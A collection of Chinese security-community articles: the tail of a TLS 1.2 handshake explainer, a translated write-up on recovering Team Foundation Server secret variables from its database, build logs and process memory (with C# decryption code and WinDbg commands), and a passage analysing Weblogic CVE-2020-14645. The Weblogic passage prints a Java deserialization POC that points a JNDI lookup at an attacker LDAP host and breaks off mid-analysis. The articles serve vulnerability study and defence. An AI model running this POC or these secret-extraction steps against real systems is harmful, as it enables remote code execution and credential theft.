客户端还将发送自己已经知道的密码套件列表，这个是由客户按优先顺序排列的，但完全由服务器来决定发送与否。TLS中使用的密码套件有一种标准格式。
我们从列表中用一个例子来进行分析.
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
> * TLS：指使用的协议是TLS
> * ECDHE：密钥交换算法
> * ECDSA：签名或验证算法
> * AES_128_GCM：称为批量加密算法。对称密钥加密算法是AES，密钥长度为128位，AES是 **块密码**
> ，也就是对输入的纯文本用固定长度的块来进行加密，加密后的每个块按再顺序发送，最后按类似的方式来进行解密。按标准规定，AES块固定长度为128位，但是输入的明文不要求必须是128的倍数，所以我们可能需要对最后一个块中进行填充，使其为固定的长度128位。除此之外，为了提高平均信息量，通常在加密之前会添加一些随机的比特到明文中，我们称为初始化矢量（IV）。有很多算法都可以在块上添加IV实现填充。在我们的例子[Galois/Counter
> Mode(GCM)](https://en.wikipedia.org/wiki/Galois/Counter_Mode)中用到过。或许详细解释GCM模式会使事情变得复杂，可见这并不是一个好主意。
> SHA256：消息验证代码（MAC）算法。我们将详细讨论MAC。
>
### 压缩数据
为了减少带宽，可以进行压缩。但从成功攻击TLS的事例中来看，其中使用压缩时的攻击可以捕获到用HTTP头发送的参数，这个攻击可以劫持Cookie，这个漏洞我们称为[CRIME](https://en.wikipedia.org/wiki/CRIME)。从TLS
1.3开始，协议就禁用了TLS压缩。
### 扩展名
其他参数（如服务器名称，填充，支持的签名算法等）可以作为扩展名使用，我们可以任意对用作扩展名的内容研究一番。
这些是客户端问候的一部分，如果已收到客户端问候，接下来就是服务器的确认，服务器将发送服务器问候。
## 服务器接收Hello报文
收到 **客户端问候** 之后服务器必须发送 **服务器问候**
信息，服务器会检查指定诸如TLS版本和算法的客户端问候的条件，如果服务器接受并支持所有条件，它将发送其证书以及其他详细信息，否则，服务器将发送握手失败消息。
图中，我们可以看到服务器响应0x0303表示服务器同意使用TLS 1.2，我们来检查一下 **服务器问候** 中的记录。
### 服务器接收Hello报文的内容
服务器问候消息包含以下信息。
加下来我们会在这里讨论其中一些重要的参数。
### 服务器版本
如果客户端可以支持，则服务器将选择客户端指定的TLS版本，这里选择了TLS 1.2
### 服务器的随机数
类似于客户端随机，服务器随机也占32字节，前4个字节表示服务器的Unix纪元时间，后面加上28字节的随机数。客户端和服务器随机将用来创建加密密钥，我待会儿会解释。
### 密码套件
还记得我们已经将发送支持的密码套件发送到客户端问候中的github.com吗？Github从名单中选出了第一个，也就是：
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
### 会话id(Session id)
服务器将约定的Session参数存储在TLS缓存中，并生成与其对应的Session id。它与Server
Hello一起发送到客户端。客户端可以写入约定的参数到此Session id，并给定到期时间。客户端将在Client
Hello中包含此id。如果客户端在此到期时间之前再次连接到服务器，则服务器可以检查与Session
id对应的缓存参数，并重用它们而无需完全握手。这非常有用，因为服务器和客户端都可以节省大量的计算成本。
在涉及亚马逊和谷歌等流量巨大的应用程序时，这种方法存在缺点。每天都有数百万人连接到服务器，服务器必须使用Session密钥保留所有Session参数的TLS缓存。这是一个巨大的开销。为了解决之前介绍过的Session
Tickets的问题, 在这里，客户端可以在client hello中指定它是否支持Session Ticket。然后，服务器将创建一个
**新的会话票证(Session Ticket)**
，并使用只有服务器知道的经过私钥加密的Session参数。它将存储在客户端上，因此所有Session数据仅存储在客户端计算机上，但Ticket仍然是安全的，因为该密钥只有服务器知道。
此数据可以作为名为Session Ticket的扩展包含在Client
Hello中。在我们的例子中，此参数为空，因为这是第一次连接到github.com或前一个Session的浏览器已过期。
### 压缩数据
如果支持，服务器将同意客户端的首选压缩方法。在这里，您可以看到服务器响应为空响应，则意味着不需要压缩。
服务器不在ServerHello消息中发送任何证书;
它会在正确命名的[证书](https://tools.ietf.org/html/rfc5246#section-7.4.2)消息中发送证书。
### 服务器证书的信息
在我们的例子中，证书消息长度为3080字节。毫无疑问，这是包含所有信息的服务器证书。服务器按[信任链](https://www.wst.space/ssl-part-3-certificate-authority/)的顺序发送完整的证书列表。该链中的第一个是服务器证书，接着是颁发服务器证书的intermediate CA
的证书,然后是下一个intermediate CA 的证书......直到Root CA的证书。服务器不可以发送Root
CA证书，因为在大多数情况下，浏览器可以从任何intermediate CA 识别Root CA。
在我们的例子中，您可以看到第一个证书是github.com，第二个证书是中间件Digicert SHA2扩展验证Server CA。 检查下图中的`id-at-commonName`参数。
让我们分析证书的内容，看看浏览器如何验证它。
### 证书的内容
证书被发送到浏览器，因此我们可以在访问github.com时查看Github的证书。来自Firefox的CA证书内容:
可以通过单击" **详细信息** "选项卡查看github的intermediate CA 和Root CA.
让我们了解这些领域是什么以及它们的用途。
### 版本和序列号
版本表示使用的是哪个版本的[X.509](https://en.wikipedia.org/wiki/X.509)标准。X.509是用于定义公钥证书格式的标准。[X.509](https://en.wikipedia.org/wiki/X.509)有3个版本，github使用最新版本version
3。
从RFC
5280开始，CA为每个证书分配的序列号必须是正整数。因此对于每个发布CA证书，它必须是唯一的（即颁发者名称和序列号标识唯一的证书）。所以，CA必须强制serialNumber为非负整数。
### 证书的签名算法与值
浏览器需要知道签名算法以验证签名。如果使用的是RSA签名，则需要相同的算法来验证签名。对于Github，使用的是PKCS＃1
SHA-256和RSA加密，即SHA-256用于生成散列，RSA用于签名。
从我们[上一篇文章](https://xz.aliyun.com/t/2530)中，证书数据使用SHA-256算法进行哈希处理，并使用RSA加密过Github的私钥对此哈希进行签名。
### 颁布机构
此字段包含颁发证书的颁发机构的详细信息。Github的证书由Digicert的intermediate CA 颁发。
### 合法性
该字段有两个值`Not Before` 和`Not After` 。如果当前日期时间不在这些值之间，则证书无效。浏览器就不会信任该证书。
### 子公钥信息(Subject Public Key Info)
该字段携带公钥和用于生成公钥的算法。此密钥用于交换密钥，我们将在稍后讨论。
### 指纹
浏览器生成了两个指纹SHA 1和SHA-256，而且不会发送到服务器。这些指纹分别是通过SHA
1和SHA-256函数散列DER格式的证书产生的。我们可以通过将证书下载到我们的机器并应用哈希函数来验证这一点。
单击 **详细信息** 选项卡左下角的“ **导出** ” 按钮以下载证书，保存为.crt 扩展名，并在终端上运行以下命令以生成证书的指纹。
$ openssl x509 -noout -fingerprint -sha256 -inform pem -in [certificate-file.crt]
$ openssl x509 -noout -fingerprint -sha1 -inform pem -in [certificate-file.crt]
这应该产生与您在浏览器中看到的结果相同的结果。这些值不是证书的一部分，而是根据证书计算出来的。Root
CA证书的指纹将在浏览器中进行硬编码，因此可以轻松地进行交叉验证。除此之外，这些指纹主要用于识别和组织证书。不要将[Signature与指纹混淆](https://security.stackexchange.com/questions/46230/digital-certificate-signature-and-fingerprint)。
我们在这里讨论的证书信息是关于github.com的服务器证书。Github的intermediate CA
证书也将在同一请求中发送给客户，所有上述字段也适用于该证书。您可以通过转到详细信息选项卡并单击intermediate CA 来检查，如下所示。
## 服务器端密钥交换
随后是 **Server Hello** 和证书消息(Certificate message)， **服务器密钥交换(Server Key
Exchange)**
是可选的。仅当服务器提供的证书不足以允许客户端交换预主密钥时，才会发送此消息。让我们看看为什么github.com必须发送服务器密钥交换消息。
我们可以看到github.com首选Session的密码套件是`TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256`。这意味着双方使用`Elliptic
Curve Diffie Hellman`算法来交换密钥。在[Diffie-Hellman](https://www.wst.space/ssl-part-2-diffie-hellman-key-exchange/)中，客户端无法自行计算预主密钥;
双方都有助于计算它，因此客户端需要从服务器获取Diffie-Hellman公钥。（不要对"Pre-Master
Secret"一词感到困惑，我们将在下面深入讨论它。）当使用`Elliptic Curve Diffie-Hellman`时，该公钥不在证书中。因此，服务器必须在单独的消息中向客户端发送其DH公钥，以便客户端可以计算预主密钥。这可以在上面的图像中看到。请注意，此密钥交换也由签名保护。
服务器密钥交换完成后，服务器将发送Server Hello Done 消息。客户端将开始计算Pre-Master Secret。我们来看看如何。
### 如何计算Pre-Master Secret
Pre-Master
Secret计算取决于商定的密钥交换算法的类型。当使用RSA进行密钥交换时，从客户端（即浏览器）计算[预主密钥](https://security.stackexchange.com/questions/63971/how-is-the-premaster-secret-used-in-tls-generated)，客户端通过连接协议版本（2个字节）和客户端随机生成的一些字节（46个字节）来生成48字节的预主密钥。客户端从加密安全的
**伪随机数发生器（PRNG）**
获得这46个字节。实际上，这意味着使用操作系统提供的PRNG，例如`/dev/urandom`。然后，使用服务器的公共和共享对此Pre-Master密钥进行加密，以便服务器稍后可以使用它来创建 **主密钥** 。
但是，在Github的情况下，如上所述，Diffie-Hellman算法用于密钥交换。这里的情况略有不同。服务器立即生成一对DH私钥 -公钥。然后，与客户共享公钥。这是如上所述的"服务器密钥交换消息( Server Key
Exchange)"。作为响应，客户端还将创建DH密钥对，并通过客户端密钥交换消息与服务器共享公钥，如下所示。
您可以看到共享的客户端公钥。现在，如果您了解Diffie-Hellman算法的工作原理，您就知道客户端和服务器可以从这些共享公钥到达公共密钥。新生成的密钥称为Pre-Master密钥。
使用Diffie
Hellman算法进行TLS密钥交换具有优势。客户端和服务器都为每个新会话生成一个新密钥对。一旦计算出预主密钥，将立即删除客户端和服务器的私钥。这意味着私钥永远不会被窃取，确保[完美的前向保密](https://en.wikipedia.org/wiki/Perfect_forward_secrecy)。
## 客户端密钥交换
我们已经在上面讨论过，客户端的DH公钥通过客户端密钥交换消息共享给服务器。但是如果使用RSA，则客户端将如上所述通过其自己计算预主密钥，使用服务器的公钥（RSA公钥）对其进行加密，并通过客户端密钥交换消息将其发送回服务器。然后，服务器可以使用其私钥解密它。无论算法是什么，此时[客户端和服务器都达到了共同的Pre-Master Secert](https://security.stackexchange.com/questions/63971/how-is-the-premaster-secret-used-in-tls-generated) 。完成此操作后，客户端将发送Change Cipher Spec
消息，如下所示。
让我们往下走，看看如何在主密钥从预备主密钥来计算。
### 如何计算主秘钥
现在客户端和服务器都有哪些随机数据呢？根据[RFC
5346](https://tools.ietf.org/html/rfc5246#section-8.1)标准，在问候消息期间客户端和服务器共享的预主密钥和随机值（还记得吗？）都会使用PRF（伪随机函数）产生的值来计算主密钥。
master_secret = PRF（pre_master_secret，“master secret”，ClientHello.random + ServerHello.random）[0..47];
这里，
pre_master_secret - 双方计算的48字节Pre-Master密码。
“master secret” - 它只是一个使用ASCII字节的字符串。
ClientHello.random - 客户端hello中共享的随机值
ServerHello.random - 服务器hello中共享的随机值。
主密钥的大小共48个字节，好吧，到目前为止还不是太乱。双方都可以使用主密钥加密数据并来回发送，确实如此，但程序还没结束。你认为[双方使用相同的秘钥](https://crypto.stackexchange.com/questions/2878/separate-read-and-write-keys-in-tls-key-material)是个好办法吗？当然不是！TLS为客户端和服务器分配了单独的密钥，它们都来自主密钥本身，换句话说，主密钥不直接用于加密数据，而是将单独的加密密钥用于客户端和服务器。由于双方都有两个密钥，服务器用其密钥加密的数据可以由客户端轻松解密，反之亦然。
还没完，TLS还具有用于对称密钥加密的附加安全机制。
### 消息验证代码（MAC）和TLS数据完整性
窃听者可以对传输中的加密数据进行两种可能的攻击：尝试解密数据或尝试修改数据。只要密钥安全，我们就可以认为解密基本上是不可能的，但如果是修改数据呢？客户端和服务器是怎么知道攻击者没有修改过数据呢？如上所述，TLS不仅仅是加密数据，还可以保护数据，使其免受未检测到的修改，换句话说，TLS可以检查数据的完整性。让我们看看它是怎么做到的。
当服务器或客户端使用主密钥加密数据时，它还会计算明文数据的校验和（哈希值），这个校验和称为 **消息验证代码（MAC）**
。然后在发送之前将MAC包含在加密数据中。密钥用于从数据中生成MAC，以确保传输过程中攻击者无法从数据中生成相同的MAC，故而MAC被称为HMAC（哈希消息认证码）。另一方面，在接收到消息时，解密器将MAC与明文分开，然后用它的密钥计算明文的校验和，并将其与接收到的MAC进行比较，如果匹配，那我们就可以得出结论：数据在传输过程中没有被篡改。
客户端和服务器必须使用相同的散列算法来创建以及验证MAC，还记得Github同意的密码套件的最后一部分吗？
`TLS_ECDHE_ECDSA_WITH_AES_128_GCM_ SHA256`。即SHA256
是用于处理HMAC的哈希函数，为了提高安全性，客户端和服务器使用MAC密钥。让我们看看这些是什么。
### MAC密钥和IV密钥
根据要求，有4个密钥用于加密和验证每个消息的完整性，他们是：
> * 客户端写入加密密钥：客户端用赖加密数据，服务器用来解密数据。
> * 服务器写入加密密钥：服务器用来加密数据，客户端用来解密数据。
> * 客户端写入MAC密钥：客户端用来创建MAC，服务器用来验证MAC。
> * 服务器写入MAC密钥：服务器用来创建MAC，客户端用来验证MAC。
>
这些密钥块由主密钥上的相同的PRF反复地生成，直至密钥有了足够的字节。
key_block = PRF（SecurityParameters.master_secret，“密钥扩展”，SecurityParameters.server_random + SecurityParameters.client_random）;
如您所见，除了客户端 -服务器随机值和字符串“密钥扩展”之外，主密钥还用来增加密钥的平均信息量。PRF可以生成任意长度的密钥，这点是很有用的，因为默认情况下不同的散列函数具有不同的长度。在我们的例子中用的是SHA256，它是256位，但MD5的默认长度为128位。
除此之外，我们知道我们使用的AES和GCM算法是一种分组密码，它需要一组比特来作为初始化向量（IV）。在讨论密码套件时，我们已经提到IV用于改善AES加密的平均信息量，换句话说，当多次加密同一文件时，IV能够生成不同的密文，这些随机的字节也由相同的PRF生成，并且被称为客户端写入IV
和服务器写入IV ，术语是自解释的。我不会对IV的细节再进行更多讲解，因为它是一个很大的主题，超出了本文的范围。
### 生成测试数据
现在双方都有了加密密钥，我们准备加密，但是在将TLS放到应用层之前，我们需要像每个进程一样来测试并验证客户端加密数据是否可以由服务器解密，反之亦然。为此，客户端将使用伪随机函数（PRF）计算12字节的[verify_data](https://crypto.stackexchange.com/questions/34754/what-does-the-tls-1-2-client-finished-message-contain/34792)，如下所示。
verify_data = PRF(master_secret, "client finished", MD5(handshake_messages) + SHA-1(handshake_messages) ) [12]
其中handshake_messages
是所有握手消息的缓冲区，以上版本适用于版本1.2的TLS。版本1.2略有变化，即verify_data的长度取决于密码套件而不总是12字节，任何未明确指定verify_data_length的密码套件都等于12。此外，伪随机函数（PRF）中的MD5
/ SHA-1组合具有已被密码套件指定的PRF替换。所以根据最新规范，
Verify_data = PRF(master_secret, finished_label, Hash(handshake_messages)) [0..verify_data_length-1];
因此我们有测试数据，用密钥和算法来加密测试数据。客户端所需要做的就是用客户端加密密钥（或简称客户端写入密钥）使用AES算法加密测试数据，如上所述还得计算HMAC，客户端获取结果并添加记录头字节“0x14”表明“已完成”，再通过客户端生成消息并且发送到服务器。这是由实体和客户端发送的最后一次握手消息之间协商的算法和密钥保护的第一条消息。由于消息是完全加密的，因此WireShark只会看到加密的内容，并通过名称为加密握手的消息来调用完成的握手信息，如下所示。
### 验证磋商
服务器处理过程也几乎相同。它发出一个Change Cipher Spec ，然后发送一条包含所有握手消息的 **已完成信息**
。更改标记在该服务器切换到新协商的加密套件和键点的密码SPEC消息，然后再加密后续客户端的记录。除此之外，服务器的 **完成消息** 将包含对客户端的
**完成消息**
进行解密的版本，一旦客户端收到此数据，它将使用服务器写入密钥对其进行解密。故而这就向客户证明了服务器能够成功解密我们的消息。KABOOM！我们完成了TLS握手。
所有的加密都是基于协商的算法。在我们的例子中，算法是AES_128_GCM，这里没有必要进行进一步的解释，因为当涉及到其他网站时，服务器指定的算法可能会有所不同。如果您有兴趣了解这些算法的工作原理，[维基百科有一个列表](https://en.wikipedia.org/wiki/Cipher_suite#Supported_algorithms)。我也是通过TLS基础知识来学习密码学。
## 加密应用程序数据
我们现在在[应用层](https://en.wikipedia.org/wiki/OSI_model#Layer_7:_Application_Layer)。如果你有一个中等速度的互联网连接，我们只是连接了几百毫秒。想象一下，在如此短的时间内会发生多少事情？
我要求的页面是homepade aka www.github.com
。所以在Mozilla Firefox的开发者工具中显示的纯文本请求是，
GET https://github.com/
Host: github.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
请参阅下图：
前3个字节17 03 03 表示内容的数据类型（应用程序数据）和TLS版本（TLS 1.2）。
### 尾声
对，就是这样。我们结束了。
在本系列的下一部分中，我会添加一些在本文中无法包含的别的内容。我还发布了结构化的参考链接，这对于学习TLS中的密码学还是很有用的。
我想在这里再写点什么。整篇文章写的都是我对TLS的理解上的兴趣，就是说我所学到/理解的一切都在这里了，或许并不完整，或许会有错误，或许各位的看法和我有出入。总之，不管是什么，欢迎您在评论区中分享，我很高兴能和诸位一起学习更多的东西！ | 社区文章 |
# 【技术分享】如何解密TFS的秘密变量
|
##### 译文声明
本文是翻译文章，文章来源：lowleveldesign.org
原文地址：<https://lowleveldesign.org/2017/07/04/decrypting-tfs-secret-variables/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**什么是 TFS（Team Foundation Server **）** ？**
****
**Team Foundation Server** 提供一组协作软件开发工具，它与你现有的 IDE
或编辑器集成，从而使你的跨功能团队可以在所有大小的软件项目上高效工作。
引用自<https://www.visualstudio.com/zh-hans/tfs/>
**一、前言**
****
TFS的每个生成（build）及发布（release）定义中都包含一组自定义变量，并且会在随后的build/release管道中使用这些变量作为参数用于PowerShell/批处理脚本、配置文件转换或者其他子任务。从一个任务中访问这些变量类似于访问进程环境变量。由于TFS使用了非常详细的日志记录，因此我们经常可以在build日志中发现明文形式的具体变量值。这也是微软使用秘密变量的原因之一。
TFS的生成配置面板示例如下所示，其中有个秘密变量amiprotected（注意图中高亮的小锁图标）：
当秘密变量被保存之后，我们再也无法通过网页面板读取这个值（当你点击小锁图标时，文本框会被清空）。
当我们将秘密变量传递给PowerShell脚本并打印这个变量时，对应的输出日志如下所示：
现在让我们来探索一下这些秘密变量具体存储的位置及过程。
**二、秘密变量存储的过程**
****
为了分析TFS存储秘密变量的具体过程，我一开始检查的是TFS的数据库服务器。不同的团队集合都有独立的数据库与之对应。每个数据库会将表（table）分组为名字易于理解的schema，比如Build、Release或者TfsWorkItemTracking。此外，默认的dbo
schema中也包含一些表。我们的秘密变量属于生成定义的一部分，因此我们可以来检查一下Build这个schema。tbl_Definition看上去像是个可行的方法。这个表的前几列如下所示：
其中，Variables这一列以JSON格式列出了所有的变量。不幸的是，我无法了解关于我们的秘密变量的更多信息（除了得知它是个秘密变量之外）。因此，我开始搜索是否存在名字为“tbl_Variables”或者“tbl_Secrets”的表，但一无所获。抱着最后一丝希望，我使用了[procmon](https://technet.microsoft.com/en-us/sysinternals/processmonitor)这个工具，这个工具也是我在实在没办法的时候一直使用的一个工具。利用这个工具，我跟踪了秘密变量保存时的路径，在这个路径中发现了一些有趣的信息：
我选择其中一条记录，检查它的调用栈：
现在我需要使用一个小[技巧](https://lowleveldesign.org/2017/06/23/how-to-decode-managed-stack-frames-in-procmon-traces/)，来解码procmon跟踪路径中的frame信息。最后一个frame指向的是TeamFoundationStrongBoxService.AddStream方法。这个类的名称非常特别，因此我特意在数据库中查找了一下相关信息，很快就找到了一些较为有趣的表。
tbl_StrongBoxDrawer表：
tbl_StrongBoxItem表：
以及tbl_SigningKey表：
正如你所看到的那样，tbl_StrongBoxDrawer表中的某一行引用了build的定义，同时对秘密变量进行了分组。tbl_StrongBoxItem表以加密形式存储了秘密变量所对应的所有值（包括我们当前的秘密变量）。最后，tbl_SigningKey表存储了某些私钥，这些私钥可能会在加密过程中使用。
现在是启动[dnspy](https://github.com/0xd4d/dnSpy)工具、开始更为细致分析的时候了。AddStream方法包含将敏感信息添加到TFS数据库的逻辑处理流程。首先，秘密变量值经过AES加密（使用了自动生成的密钥以及随机初始化的向量）并保存在一个byte数组中。其次，AES密钥经过签名密钥的加密，并被保存到另一个byte数组中。最后，这两个表以及初始化向量会被保存为与秘密向量有关的加密值。对于本文使用的例子来说，这个加密值如下所示：
而签名密钥会以RSA CSP数据块的形式保存，如下所示：
当你从数据库中提取这段数据后，你可以使用如下示例代码进一步解压这段数据：
byte[] aesKey;
using (RSACryptoServiceProvider rsaCryptoServiceProvider = new RSACryptoServiceProvider(2048,
new CspParameters { Flags = CspProviderFlags.UseMachineKeyStore })) {
var cspBlob = "...hex string...";
rsaCryptoServiceProvider.ImportCspBlob(Hex.FromHexString(cspBlob));
var encryptedAesKey = "...hex string...";
aesKey = rsaCryptoServiceProvider.Decrypt(Hex.FromHexString(encryptedAesKey), true);
}
var iv = Hex.FromHexString("...hex string...");
var cipher = Hex.FromHexString("...hex string...");
using (var aes = Aes.Create()) {
var transform = aes.CreateDecryptor(aesKey, iv);
using (var encryptedStream = new MemoryStream(cipher)) {
using (var cryptoStream = new CryptoStream(encryptedStream, transform, CryptoStreamMode.Read)) {
using (var decryptedStream = new MemoryStream()) {
cryptoStream.CopyTo(decryptedStream);
Console.WriteLine(Hex.PrettyPrint(decryptedStream.ToArray()));
}
}
}
}
如上所述，tbl_SigningKey表包含非常敏感的数据，因此你必须确保只有经过认证的用户才能访问这个表。TFS在这里竟然没有使用任何DPAPI或者其他加密机制，这让我非常惊讶。
**三、揭开秘密变量的神秘面纱**
****
前文中，我们利用存在数据库中相关数据成功解密了秘密变量，但实际上还有更为简单的方法。如果你可以修改build/release任务管道，那么你就可以很方便地创建一个PowerShell任务，如下所示：
由于字符串中第一个字符与剩余字符之间有一个空格，因此输出不会被屏蔽，你可以以在日志中看到明文形式的密码：
因此，你可以得出结论，如果人们能够修改build/release任务管道，或者人们可以修改任务管道中使用的脚本内容，那么他们就能读取秘密变量的值。
**四、从TFS内存中提取秘密变量**
****
最后，让我们研究一下TFS服务器进程（w3wp.exe）的内存，看看我们能从中获得什么信息。我将这个进程的全部内存导出到一个文件中，然后使用WinDbg打开这个文件（WinDbg已事先加载了SOSEX以及SOS扩展）。先来列出StrongBoxItemInfo的所有实例信息：
0:000> !mx *.StrongBoxItemInfo
AppDomain 0000000001eb8b50 (/LM/W3SVC/2/ROOT/tfs-1-131555514123625000)
--------------------------------------------------------- module: Microsoft.TeamFoundation.Framework.Server
class: Microsoft.TeamFoundation.Framework.Server.StrongBoxItemInfo
module: Microsoft.TeamFoundation.Client
class: Microsoft.TeamFoundation.Framework.Client.StrongBoxItemInfo
…
0:000> .foreach (addr {!DumpHeap -short -mt 000007fe92560f80}) { !mdt addr }
...
0000000203419dc8 (Microsoft.TeamFoundation.Framework.Server.StrongBoxItemInfo)
<drawerid>k__BackingField:(System.Guid) {c2808c4d-0c0d-43e5-b4b2-e743f5121cdd} VALTYPE (MT=000007feef467350, ADDR=0000000203419df8)
<itemkind>k__BackingField:0x00 (String) (Microsoft.TeamFoundation.Framework.Server.StrongBoxItemKind)
<lookupkey>k__BackingField:000000020341a1f8 (System.String) Length=24, String="9/variables/amiprotected"
<signingkeyid>k__BackingField:(System.Guid) {c2808c4d-0c0d-43e5-b4b2-e743f5121cdd} VALTYPE (MT=000007feef467350, ADDR=0000000203419e08)
<expirationdate>k__BackingField:(System.Nullable`1[[System.DateTime, mscorlib]]) VALTYPE (MT=000007feef4c13b8, ADDR=0000000203419e18)
<credentialname>k__BackingField:NULL (System.String)
<encryptedcontent>k__BackingField:000000020341a3f0 (System.Byte[], Elements: 312)
<value>k__BackingField:NULL (System.String)
<fileid>k__BackingField:0xffffffff (System.Int32)
…
LookupKey这个字段包含变量的名称。为了将其与build/release定义结合起来，我们需要找到Id等于c2808c4d-0c0d-43e5-b4b2-e743f5121cdd的StrongBoxDrawerName实例。但我们的主要任务是解密EncryptedContent字段的值，为了完成这个任务，我们需要得到签名密钥（id:
c2808c4d-0c0d-43e5-b4b2-e743f5121cdd）。TFS会在缓存中保存最近使用的签名密钥，因此如果我们运气不错的话，我们还是有可能在缓存中找到这个签名密钥。这个过程稍显漫长，首先，我们需要列出TeamFoundationSigningService+SigningServiceCache类的所有实例：
0:000> !mx *.TeamFoundationSigningService+SigningServiceCache
module: Microsoft.TeamFoundation.Framework.Server
class: Microsoft.TeamFoundation.Framework.Server.TeamFoundationSigningService+SigningServiceCache
0:000> !DumpHeap -mt 000007fe932d99e0
Address MT Size
...
0000000203645ce0 000007fe932d99e0 96
然后，一路跟踪对象树，找到与我们有关的那个私钥：
Microsoft.TeamFoundation.Framework.Server.TeamFoundationSigningService+SigningServiceCache
|-m_cacheData (00000002036460a0)
|-m_cache (0000000203646368)
|-m_dictionary (0000000203646398)
0:000> !mdt 0000000203646398 -e:2 -start:0 -count:2
…
[1] (…) VALTYPE (MT=000007fe969d7160, ADDR=0000000100d6d510)
key:(System.Guid) {c2808c4d-0c0d-43e5-b4b2-e743f5121cdd} VALTYPE (MT=000007feefdc7350, ADDR=0000000100d6d520)
value:000000020390d440
|-Value (000000020390d410)
|-<Value>k__BackingField (000000020390d3f0)
|-m_Item1 (000000020390d2b0)
0:000> !mdt 000000020390d2b0
000000020390d2b0 (Microsoft.TeamFoundation.Framework.Server.SigningServiceKey)
<keydata>k__BackingField:000000020390ce00 (System.Byte[], Elements: 1172)
<keytype>k__BackingField:0x0 (RSAStored) (Microsoft.TeamFoundation.Framework.Server.SigningKeyType)
其实一开始我们可以直接搜索SigningServiceKey类的实例。但如果这么做，我们需要打印出所有的GC根，逐一检查，核实其Id是否就是我们正在查找的那个Id。我发现这种自上而下的方法会更为容易一些（但这个方法还是稍显乏味）。
**五、总结**
****
希望这篇文章能对读者有所帮助。根据本文分析，我们认为还是有办法能够安全地保存TFS秘密变量中的敏感数据，但首先要做到以下几点：
1、只有授权用户可以修改build/release管道（包括使用秘密变量的任务的内容）。
2、只有授权用户可以访问TFS数据库中的tbl_SigningKey表。
此外，我们也可以使用精心配置的TFS代理，配合密钥库或者某些本地DPAPI加密块来执行所有的敏感任务。 | 社区文章 |
# Weblogic 远程命令执行漏洞（CVE-2020-14645）分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：白帽汇安全研究院[@hu4wufu](https://github.com/hu4wufu "@hu4wufu")
核对：白帽汇安全研究院[@r4v3zn](https://github.com/r4v3zn "@r4v3zn")
## 前言
近期公布的关于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645，是对 CVE-2020-2883的补丁进行绕过。之前的
CVE-2020-2883 本质上是通过 `ReflectionExtractor` 调用任意方法，从而实现调用 `Runtime` 对象的 exec
方法执行任意命令，补丁将 `ReflectionExtractor` 列入黑名单，那么可以使用 `UniversalExtractor`
重新构造一条利用链。`UniversalExtractor` 任意调用 `get`、`is`方法导致可利用 JDNI
远程动态类加载。`UniversalExtractor` 是 Weblogic 12.2.1.4.0 版本中独有的，本文也是基于该版本进行分析。
## 漏洞复现
漏洞利用 POC，以下的分析也是基于该 POC 进行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//构造 UniversalExtract 调用 JdbcRowSetImpl 对象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功弹出计算机
## 漏洞分析
了解过 `JDNI` 注入的都知道漏洞在 `lookup()` 触发，这里在 `JdbcRowSetImpl.class` 中 `326` 行
`lookup()` 函数处设置断点，以下为漏洞利用的简要调用链条：
我们从头分析，我们都知道反序列化的根本是对象反序列化的时候，我们从 IO 流里面读出数据的时候再以这种规则把对象还原回来。我们在
`in.readObject()` 处打断点，跟进查看 `PriorityQueue.readObject()` 方法
这里 782 执行 `s.defaultReadObject()` ，785 执行 `s.readInt()` 赋给对象输入流大小以及数组长度，并在 790
行执行 for 循环，依次将 `s.readObject()` 方法赋值给 `queue` 对象数组，这里 `queue` 对象数组长度为 2。
接着往下跟，查看 `heapify()` 方法。`PriorityQueue` 实际上是一个最小堆，这里通过 `siftDown()`
方法进行排序实现堆化，
跟进 `siftDown()` 方法，这里首先判断 `comparator` 是否为空
我们可以看看 `comparator` 是怎么来的，由此可见是在 `PriorityQueue` 的构造函数中被赋值的，在初始化构造时，除了给
`this.comparator` 进行赋值之外，通过 `initialCapacity` 进行初始化长度。
`comparator` 不为空，所以我们执行的是 `siftDownUsingComparator()` 方法，所以跟进
`siftDownUsingComparator()` 方法。
继续跟进 `ExtractorComparator.compare()` 方法
这里调用的是 `this.m_extractor.extract()` 方法，来看看 `this.m_extractor`，这里传入了
`extractor`，
`this.m_extractor` 的值是与传入的 `extractor` 有关的。这里需要构造 `this.m_extractor` 为
`ChainedExtractor`，才可以调用 `ChainedExtractor` 的 `extract()` 方法实现 `extract()` 调用。
继续跟进 `ChainedExtractor.extract()` 方法，可以发现会遍历 `aExtractor` 数组，并调用 `extract()`
方法。
跟进 `extract()` 方法，此处由于 `m_cacheTarget` 使用了 `transient` 修饰，无法被反序列化，因此只能执行
